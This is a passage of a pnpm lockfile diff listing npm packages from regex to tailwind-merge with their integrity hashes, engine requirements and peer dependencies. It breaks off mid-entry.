+ + regex@6.0.1: + resolution: {integrity: sha512-uorlqlzAKjKQZ5P+kTJr3eeJGSVroLKoHmquUj4zHWuR+hEyNqlXsSKlYYF5F4NI6nl7tWCs0apKJ0lmfsXAPA==} + + regexp.prototype.flags@1.5.4: + resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==} + engines: {node: '>= 0.4'} + + regexpu-core@6.2.0: + resolution: {integrity: sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA==} + engines: {node: '>=4'} + + regjsgen@0.8.0: + resolution: {integrity: sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==} + + regjsparser@0.12.0: + resolution: {integrity: sha512-cnE+y8bz4NhMjISKbgeVJtqNbtf5QpjZP+Bslo+UqkIt9QPnX9q095eiRRASJG1/tz6dlNr6Z5NsBiWYokp6EQ==} + hasBin: true + + rehype-autolink-headings@7.1.0: + resolution: {integrity: sha512-rItO/pSdvnvsP4QRB1pmPiNHUskikqtPojZKJPPPAVx9Hj8i8TwMBhofrrAYRhYOOBZH9tgmG5lPqDLuIWPWmw==} + + rehype-components@0.3.0: + resolution: {integrity: sha512-yl2bUkZi+sU0gxwVCun7IkjiDLPczSs1SKMKHmjlSLkk4mMryBd/aYba5J8suhJdquBEKSw6ZNxU3MvVQ9xqoQ==} + + rehype-expressive-code@0.41.3: + resolution: {integrity: sha512-8d9Py4c/V6I/Od2VIXFAdpiO2kc0SV2qTJsRAaqSIcM9aruW4ASLNe2kOEo1inXAAkIhpFzAHTc358HKbvpNUg==} + + rehype-katex@7.0.1: + resolution: {integrity: sha512-OiM2wrZ/wuhKkigASodFoo8wimG3H12LWQaH8qSPVJn9apWKFSH3YOCtbKpBorTVw/eI7cuT21XBbvwEswbIOA==} + + rehype-parse@9.0.1: + resolution: {integrity: sha512-ksCzCD0Fgfh7trPDxr2rSylbwq9iYDkSn8TCDmEJ49ljEUBxDVCzCHv7QNzZOfODanX4+bWQ4WZqLCRWYLfhag==} + + rehype-raw@7.0.0: + resolution: {integrity: sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==} + + rehype-slug@6.0.0: + resolution: {integrity: sha512-lWyvf/jwu+oS5+hL5eClVd3hNdmwM1kAC0BUvEGD19pajQMIzcNUd/k9GsfQ+FfECvX+JE+e9/btsKH0EjJT6A==} + + rehype-stringify@10.0.1: + resolution: {integrity: sha512-k9ecfXHmIPuFVI61B9DeLPN0qFHfawM6RsuX48hoqlaKSF61RskNjSm1lI8PhBEM0MRdLxVVm4WmTqJQccH9mA==} + + rehype@13.0.2: + resolution: {integrity: sha512-j31mdaRFrwFRUIlxGeuPXXKWQxet52RBQRvCmzl5eCefn/KGbomK5GMHNMsOJf55fgo3qw5tST5neDuarDYR2A==} + + remark-directive-rehype@0.4.2: + resolution: {integrity: sha512-T6e+IG+BwqU4++MK54vFb+KDFjs3a+tHeK6E0T0ctR1FSyngolfDtAEzqxHWlRzQZqGi2sB4DFXry6oqH87D/g==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + + remark-directive@3.0.1: + resolution: {integrity: sha512-gwglrEQEZcZYgVyG1tQuA+h58EZfq5CSULw7J90AFuCTyib1thgHPoqQ+h9iFvU6R+vnZ5oNFQR5QKgGpk741A==} + + remark-gfm@4.0.1: + resolution: {integrity: sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==} + + remark-github-admonitions-to-directives@1.0.5: + resolution: {integrity: sha512-MSRzDs51HGbUrHJ0es8POuxwJiUycWw4aYCTN2RZhdOm5UvyqdB8ApWoGBj9QAiPSHKw2HWl1hd5rRzWxVfNew==} + + remark-math@6.0.0: + resolution: {integrity: sha512-MMqgnP74Igy+S3WwnhQ7kqGlEerTETXMvJhrUzDikVZ2/uogJCb+WHUg97hK9/jcfc0dkD73s3LN8zU49cTEtA==} + + remark-parse@11.0.0: + resolution: {integrity: sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==} + + remark-rehype@11.1.2: + resolution: {integrity: sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw==} + + remark-sectionize@2.1.0: + resolution: {integrity: sha512-R/pHt1RLYrEqrbwOVXx8HnvvwOg+mxg8pE4kIWpIYE3/CuZhU8/PAx/0y1BbHWUA0jmTLTeWpUlDrS/B0pyd0g==} + + remark-smartypants@3.0.2: + resolution: {integrity: sha512-ILTWeOriIluwEvPjv67v7Blgrcx+LZOkAUVtKI3putuhlZm84FnqDORNXPPm+HY3NdZOMhyDwZ1E+eZB/Df5dA==} + engines: {node: '>=16.0.0'} + + remark-stringify@11.0.0: + resolution: {integrity: sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==} + + request-light@0.5.8: + resolution: {integrity: sha512-3Zjgh+8b5fhRJBQZoy+zbVKpAQGLyka0MPgW3zruTF4dFFJ8Fqcfu9YsAvi/rvdcaTeWG3MkbZv4WKxAn/84Lg==} + + request-light@0.7.0: + resolution: {integrity: sha512-lMbBMrDoxgsyO+yB3sDcrDuX85yYt7sS8BfQd11jtbW/z5ZWgLZRcEGLsLoYw7I0WSUGQBs8CC8ScIxkTX1+6Q==} + + require-directory@2.1.1: + resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==} + engines: {node: '>=0.10.0'} + + require-from-string@2.0.2: + resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} + engines: {node: '>=0.10.0'} + + resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + + resolve-from@5.0.0: + resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} + engines: {node: '>=8'} + + resolve@1.22.10: + resolution: {integrity: sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==} + engines: {node: '>= 0.4'} + hasBin: true + + restructure@3.0.2: + resolution: {integrity: sha512-gSfoiOEA0VPE6Tukkrr7I0RBdE0s7H1eFCDBk05l1KIQT1UIKNc5JZy6jdyW6eYH3aR3g5b3PuL77rq0hvwtAw==} + + retext-latin@4.0.0: + resolution: {integrity: sha512-hv9woG7Fy0M9IlRQloq/N6atV82NxLGveq+3H2WOi79dtIYWN8OaxogDm77f8YnVXJL2VD3bbqowu5E3EMhBYA==} + + retext-smartypants@6.2.0: + resolution: {integrity: sha512-kk0jOU7+zGv//kfjXEBjdIryL1Acl4i9XNkHxtM7Tm5lFiCog576fjNC9hjoR7LTKQ0DsPWy09JummSsH1uqfQ==} + + retext-stringify@4.0.0: + resolution: {integrity: sha512-rtfN/0o8kL1e+78+uxPTqu1Klt0yPzKuQ2BfWwwfgIUSayyzxpM1PJzkKt4V8803uB9qSy32MvI7Xep9khTpiA==} + + retext@9.0.0: + resolution: {integrity: sha512-sbMDcpHCNjvlheSgMfEcVrZko3cDzdbe1x/e7G66dFp0Ff7Mldvi2uv6JkJQzdRcvLYE8CA8Oe8siQx8ZOgTcA==} + + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + rollup-plugin-bundle-size@1.0.3: + resolution: {integrity: sha512-aWj0Pvzq90fqbI5vN1IvUrlf4utOqy+AERYxwWjegH1G8PzheMnrRIgQ5tkwKVtQMDP0bHZEACW/zLDF+XgfXQ==} + + rollup-plugin-postcss@4.0.2: + resolution: {integrity: sha512-05EaY6zvZdmvPUDi3uCcAQoESDcYnv8ogJJQRp6V5kZ6J6P7uAVJlrTZcaaA20wTH527YTnKfkAoPxWI/jPp4w==} + engines: {node: '>=10'} + peerDependencies: + postcss: 8.x + + rollup-plugin-terser@7.0.2: + resolution: {integrity: sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==} + deprecated: This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser + peerDependencies: + rollup: ^2.0.0 + + rollup-plugin-typescript2@0.32.1: + resolution: {integrity: sha512-RanO8bp1WbeMv0bVlgcbsFNCn+Y3rX7wF97SQLDxf0fMLsg0B/QFF005t4AsGUcDgF3aKJHoqt4JF2xVaABeKw==} + peerDependencies: + rollup: '>=1.26.3' + typescript: '>=2.4.0' + + rollup-plugin-visualizer@5.14.0: + resolution: {integrity: sha512-VlDXneTDaKsHIw8yzJAFWtrzguoJ/LnQ+lMpoVfYJ3jJF4Ihe5oYLAqLklIK/35lgUY+1yEzCkHyZ1j4A5w5fA==} + engines: {node: '>=18'} + hasBin: true + peerDependencies: + rolldown: 1.x + rollup: 2.x || 3.x || 4.x + peerDependenciesMeta: + rolldown: + optional: true + rollup: + optional: true + + rollup-pluginutils@2.8.2: + resolution: {integrity: sha512-EEp9NhnUkwY8aif6bxgovPHMoMoNr2FulJziTndpt5H9RdwC47GSGuII9XxpSdzVGM0GWrNPHV6ie1LTNJPaLQ==} + + rollup@2.79.2: + resolution: {integrity: sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==} + engines: {node: '>=10.0.0'} + hasBin: true + + rollup@4.52.2: + resolution: {integrity: sha512-I25/2QgoROE1vYV+NQ1En9T9UFB9Cmfm2CJ83zZOlaDpvz29wGQSZXWKw7MiNXau7wYgB/T9fVIdIuEQ+KbiiA==} + engines: {node: '>=18.0.0', npm: '>=8.0.0'} + hasBin: true + + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + + s.color@0.0.15: + resolution: {integrity: sha512-AUNrbEUHeKY8XsYr/DYpl+qk5+aM+DChopnWOPEzn8YKzOhv4l2zH6LzZms3tOZP3wwdOyc0RmTciyi46HLIuA==} + + sade@1.8.1: + resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==} + engines: {node: '>=6'} + + safe-array-concat@1.1.3: + resolution: {integrity: sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==} + engines: {node: '>=0.4'} + + safe-buffer@5.2.1: + resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} + + safe-identifier@0.4.2: + resolution: {integrity: sha512-6pNbSMW6OhAi9j+N8V+U715yBQsaWJ7eyEUaOrawX+isg5ZxhUlV1NipNtgaKHmFGiABwt+ZF04Ii+3Xjkg+8w==} + + safe-push-apply@1.0.0: + resolution: {integrity: sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==} + engines: {node: '>= 0.4'} + + safe-regex-test@1.1.0: + resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==} + engines: {node: '>= 0.4'} + + safer-buffer@2.1.2: + resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + + sanitize-html@2.17.0: + resolution: {integrity: sha512-dLAADUSS8rBwhaevT12yCezvioCA+bmUTPH/u57xKPT8d++voeYE6HeluA/bPbQ15TwDBG2ii+QZIEmYx8VdxA==} + + sass-formatter@0.7.9: + resolution: {integrity: sha512-CWZ8XiSim+fJVG0cFLStwDvft1VI7uvXdCNJYXhDvowiv+DsbD1nXLiQ4zrE5UBvj5DWZJ93cwN0NX5PMsr1Pw==} + + sass@1.80.4: + resolution: {integrity: sha512-rhMQ2tSF5CsuuspvC94nPM9rToiAFw2h3JTrLlgmNw1MH79v8Cr3DH6KF6o6r+8oofY3iYVPUf66KzC8yuVN1w==} + engines: {node: '>=14.0.0'} + hasBin: true + + sax@1.4.1: + resolution: {integrity: sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==} + + scheduler@0.27.0: + resolution: {integrity: sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==} + + scrl@2.0.0: + resolution: {integrity: sha512-BbbVXxrOn58Ge4wjOORIRVZamssQu08ISLL/AC2z9aATIsKqZLESwZVW5YR0Yz0C7qqDRHb4yNXJlQ8yW0SGHw==} + + scule@1.3.0: + resolution: {integrity: sha512-6FtHJEvt+pVMIB9IBY+IcCJ6Z5f1iQnytgyfKMhDKgmzYG+TeH/wx1y3l27rshSbLiSanrR9ffZDrEsmjlQF2g==} + + semver@6.3.1: + resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} + hasBin: true + + semver@7.7.1: + resolution: {integrity: sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==} + engines: {node: '>=10'} + hasBin: true + + semver@7.7.2: + resolution: {integrity: sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==} + engines: {node: '>=10'} + hasBin: true + + serialize-javascript@4.0.0: + resolution: {integrity: sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==} + + set-function-length@1.2.2: + resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==} + engines: {node: '>= 0.4'} + + set-function-name@2.0.2: + resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==} + engines: {node: '>= 0.4'} + + set-proto@1.0.0: + resolution: {integrity: sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==} + engines: {node: '>= 0.4'} + + sharp@0.34.4: + resolution: {integrity: sha512-FUH39xp3SBPnxWvd5iib1X8XY7J0K0X7d93sie9CJg2PO8/7gmg89Nve6OjItK53/MlAushNNxteBYfM6DEuoA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + + shebang-command@2.0.0: + resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} + engines: {node: '>=8'} + + shebang-regex@3.0.0: + resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} + engines: {node: '>=8'} + + shelljs-live@0.0.5: + resolution: {integrity: sha512-IR5+gA7f+v/V8ao7ZKE4TQpbG6ABeGxQhwL0seIbOXvHdoFAHw3MEiUICrhUfuroRREKL0n7HDA5b/R5it8KHg==} + peerDependencies: + shelljs: ^0.8.4 + + shelljs@0.8.5: + resolution: {integrity: sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==} + engines: {node: '>=4'} + hasBin: true + + shiki@3.13.0: + resolution: {integrity: sha512-aZW4l8Og16CokuCLf8CF8kq+KK2yOygapU5m3+hoGw0Mdosc6fPitjM+ujYarppj5ZIKGyPDPP1vqmQhr+5/0g==} + + side-channel-list@1.0.0: + resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==} + engines: {node: '>= 0.4'} + + side-channel-map@1.0.1: + resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==} + engines: {node: '>= 0.4'} + + side-channel-weakmap@1.0.2: + resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==} + engines: {node: '>= 0.4'} + + side-channel@1.1.0: + resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==} + engines: {node: '>= 0.4'} + + signal-exit@4.1.0: + resolution: {integrity: sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==} + engines: {node: '>=14'} + + sisteransi@1.0.5: + resolution: {integrity: sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==} + + sitemap@8.0.0: + resolution: {integrity: sha512-+AbdxhM9kJsHtruUF39bwS/B0Fytw6Fr1o4ZAIAEqA6cke2xcoO2GleBw9Zw7nRzILVEgz7zBM5GiTJjie1G9A==} + engines: {node: '>=14.0.0', npm: '>=6.0.0'} + hasBin: true + + slash@3.0.0: + resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} + engines: {node: '>=8'} + + smol-toml@1.4.2: + resolution: {integrity: sha512-rInDH6lCNiEyn3+hH8KVGFdbjc099j47+OSgbMrfDYX1CmXLfdKd7qi6IfcWj2wFxvSVkuI46M+wPGYfEOEj6g==} + engines: {node: '>= 18'} + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + source-map-support@0.5.21: + resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==} + + source-map@0.6.1: + resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} + engines: {node: '>=0.10.0'} + + source-map@0.7.4: + resolution: {integrity: sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==} + engines: {node: '>= 8'} + + sourcemap-codec@1.4.8: + resolution: {integrity: sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==} + deprecated: Please use @jridgewell/sourcemap-codec instead + + space-separated-tokens@2.0.2: + resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} + + stable@0.1.8: + resolution: {integrity: sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==} + deprecated: 'Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility' + + stop-iteration-iterator@1.1.0: + resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==} + engines: {node: '>= 0.4'} + + stream-replace-string@2.0.0: + resolution: {integrity: sha512-TlnjJ1C0QrmxRNrON00JvaFFlNh5TTG00APw23j74ET7gkQpTASi6/L2fuiav8pzK715HXtUeClpBTw2NPSn6w==} + + string-hash@1.1.3: + resolution: {integrity: sha512-kJUvRUFK49aub+a7T1nNE66EJbZBMnBgoC1UbCZ5n6bsZKBRga4KgBRTMn/pFkeCZSYtNeSyMxPDM0AXWELk2A==} + + string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + + string-width@5.1.2: + resolution: {integrity: sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==} + engines: {node: '>=12'} + + string-width@7.2.0: + resolution: {integrity: sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==} + engines: {node: '>=18'} + + string.prototype.matchall@4.0.12: + resolution: {integrity: sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==} + engines: {node: '>= 0.4'} + + string.prototype.trim@1.2.10: + resolution: {integrity: sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==} + engines: {node: '>= 0.4'} + + string.prototype.trimend@1.0.9: + resolution: {integrity: sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==} + engines: {node: '>= 0.4'} + + string.prototype.trimstart@1.0.8: + resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==} + engines: {node: '>= 0.4'} + + stringify-entities@4.0.4: + resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} + + strip-ansi@3.0.1: + resolution: {integrity: sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==} + engines: {node: '>=0.10.0'} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + strip-ansi@7.1.2: + resolution: {integrity: sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==} + engines: {node: '>=12'} + + strnum@2.1.1: + resolution: {integrity: sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw==} + + style-inject@0.3.0: + resolution: {integrity: sha512-IezA2qp+vcdlhJaVm5SOdPPTUu0FCEqfNSli2vRuSIBbu5Nq5UvygTk/VzeCqfLz2Atj3dVII5QBKGZRZ0edzw==} + + stylehacks@5.1.1: + resolution: {integrity: sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + stylus@0.64.0: + resolution: {integrity: sha512-ZIdT8eUv8tegmqy1tTIdJv9We2DumkNZFdCF5mz/Kpq3OcTaxSuCAYZge6HKK2CmNC02G1eJig2RV7XTw5hQrA==} + engines: {node: '>=16'} + hasBin: true + + sucrase@3.35.0: + resolution: {integrity: sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==} + engines: {node: '>=16 || 14 >=14.17'} + hasBin: true + + suf-log@2.5.3: + resolution: {integrity: sha512-KvC8OPjzdNOe+xQ4XWJV2whQA0aM1kGVczMQ8+dStAO6KfEB140JEVQ9dE76ONZ0/Ylf67ni4tILPJB41U0eow==} + + supports-color@2.0.0: + resolution: {integrity: sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g==} + engines: {node: '>=0.8.0'} + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + + supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + + svelte2tsx@0.7.44: + resolution: {integrity: sha512-opuH+bCboss0/ncxnfAO+qt0IAprxc8OqwuC7otafWeO5CHjJ6UAAwvQmu/+xjpCSarX8pQKydXQuoJmbCDcTg==} + peerDependencies: + svelte: ^3.55 || ^4.0.0-next.0 || ^4.0 || ^5.0.0-next.0 + typescript: ^4.9.4 || ^5.0.0 + + svelte@5.39.8: + resolution: {integrity: sha512-KfZ3hCITdxIXTOvrea4nFZX2o+47HPTChKeocgj9BwJQYqWrviVCcPj4boXHF5yf8+eBKqhHY8xii//XaakKXA==} + engines: {node: '>=18'} + + svgo@2.8.0: + resolution: {integrity: sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==} + engines: {node: '>=10.13.0'} + hasBin: true + + svgo@3.3.2: + resolution: {integrity: sha512-OoohrmuUlBs8B8o6MB2Aevn+pRIH9zDALSR+6hhqVfa6fRwG/Qw9VUMSMW9VNg2CFc/MTIfabtdOVl9ODIJjpw==} + engines: {node: '>=14.0.0'} + hasBin: true + + swup-morph-plugin@1.3.0: + resolution: {integrity: sha512-vTqWYA5ZFkWMo54K8jlol5OCvboqRsELLfM1PUkS2IiL+1dDDChzMHa4ZBI5+yfl7bZUCWgd8EmuhMd/i/o+Qg==} + peerDependencies: + swup: ^4.6.0 + + swup@4.8.2: + resolution: {integrity: sha512-Art2vB4idZ7EFZQhhA47ZifkmZMPgcAwE6z28BhorbTYCO8jcovcc5MasX49GGdXYJWO43DTut7iZb5yrQdEfA==} + + tailwind-merge@3.4.0: + resolution: {integrity: 